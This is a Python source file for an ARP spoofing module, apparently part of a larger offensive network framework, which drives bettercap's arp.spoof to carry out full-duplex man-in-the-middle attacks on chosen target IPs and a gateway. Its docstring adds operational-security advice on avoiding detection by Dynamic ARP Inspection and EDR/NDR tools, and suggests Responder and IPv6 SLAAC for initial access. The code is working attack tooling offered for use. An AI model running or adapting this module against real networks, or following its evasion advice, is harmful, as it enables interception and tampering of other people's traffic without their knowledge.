#!/usr/bin/env python3
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.

OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
    - Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
    - EDR/NDR solutions alert within minutes.
    - Prefer Responder + IPv6 SLAAC for initial access.
    - Reserve ARP spoofing for confirmed legacy/unmanaged segments.
    - Always run ids_tester DAI probe first to check viability.

Configures targets + gateway, then delegates to BettercapManager to
enable arp.spoof module. Full-duplex by default for complete MITM.
"""

import logging
import os
import time
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)


class ARPSpoof(BaseModule):
    """ARP spoofing via bettercap — full-duplex MITM.

    Dependencies:
        - bettercap_mgr must be running.

    Configuration:
        targets: Comma-separated target IPs or CIDR (e.g., "192.168.1.10,192.168.1.20")
        gateway: Gateway IP to spoof (e.g., "192.168.1.1")
        fullduplex: True for bidirectional spoofing (default True)
        internal: Spoof between targets, not just target<->gateway (default False)
    """

    name = "arp_spoof"
    module_type = "active"
    priority = 200
    requires_root = True
    dependencies = ["bettercap_mgr"]

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._bettercap_mgr = None
        self._targets: Optional[str] = None
        self._gateway: Optional[str] = None
        self._fullduplex = True
        self._internal = False
        self._spoofing = False

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._bettercap_mgr = self.config.get("bettercap_mgr")
        if not self._bettercap_mgr:
            logger.error("ARPSpoof requires bettercap_mgr reference in config")
            return

        # Check if ARP was disabled by crash recovery
        if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
            if self._bettercap_mgr._arp_disabled_by_crash:
                logger.error(
                    "ARP spoofing disabled by crash recovery — "
                    "bettercap crashed too many times with ARP spoof active"
                )
                return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("ARPSpoof module started (ready for spoof commands)")

    def stop(self) -> None:
        if not self._running:
            return

        if self._spoofing:
            self.stop_spoof()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("ARPSpoof module stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "spoofing": self._spoofing,
            "targets": self._targets,
            "gateway": self._gateway,
            "fullduplex": self._fullduplex,
            "internal": self._internal,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "fullduplex" in config:
            self._fullduplex = config["fullduplex"]
        if "internal" in config:
            self._internal = config["internal"]

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def spoof(self, targets: str, gateway: str) -> bool:
        """Enable ARP spoofing for specified targets and gateway.

        Args:
            targets: Comma-separated target IPs or CIDR.
            gateway: Gateway IP address.

        Returns:
            True if spoofing was enabled successfully.
        """
        if not self._running or not self._bettercap_mgr:
            logger.error("ARPSpoof not started")
            return False

        if self._bettercap_mgr._arp_disabled_by_crash:
            logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
            return False

        try:
            # Configure ARP spoof parameters
            self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
            self._bettercap_mgr.run_command(
                f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
            )
            self._bettercap_mgr.run_command(
                f"set arp.spoof.internal {'true' if self._internal else 'false'}"
            )

            # Enable ARP spoofing
            self._bettercap_mgr.run_command("arp.spoof on")

            self._targets = targets
            self._gateway = gateway
            self._spoofing = True

            # Inform bettercap_mgr for crash recovery tracking
            self._bettercap_mgr.set_spoofing_state(True, targets, gateway)

            self.state.set(self.name, "targets", targets)
            self.state.set(self.name, "gateway", gateway)
            logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
            return True

        except Exception:
            logger.exception("Failed to enable ARP spoofing")
            return False

    def stop_spoof(self) -> bool:
        """Disable ARP spoofing and send corrective ARPs.

        Returns:
            True if spoofing was stopped successfully.
        """
        if not self._bettercap_mgr:
            return False

        try:
            self._bettercap_mgr.run_command("arp.spoof off")
            self._spoofing = False
            self._bettercap_mgr.set_spoofing_state(False)

            self.state.set(self.name, "targets", "")
            self.state.set(self.name, "gateway", "")
            logger.info("ARP spoofing disabled")
            return True

        except Exception:
            logger.exception("Failed to disable ARP spoofing")
            return False
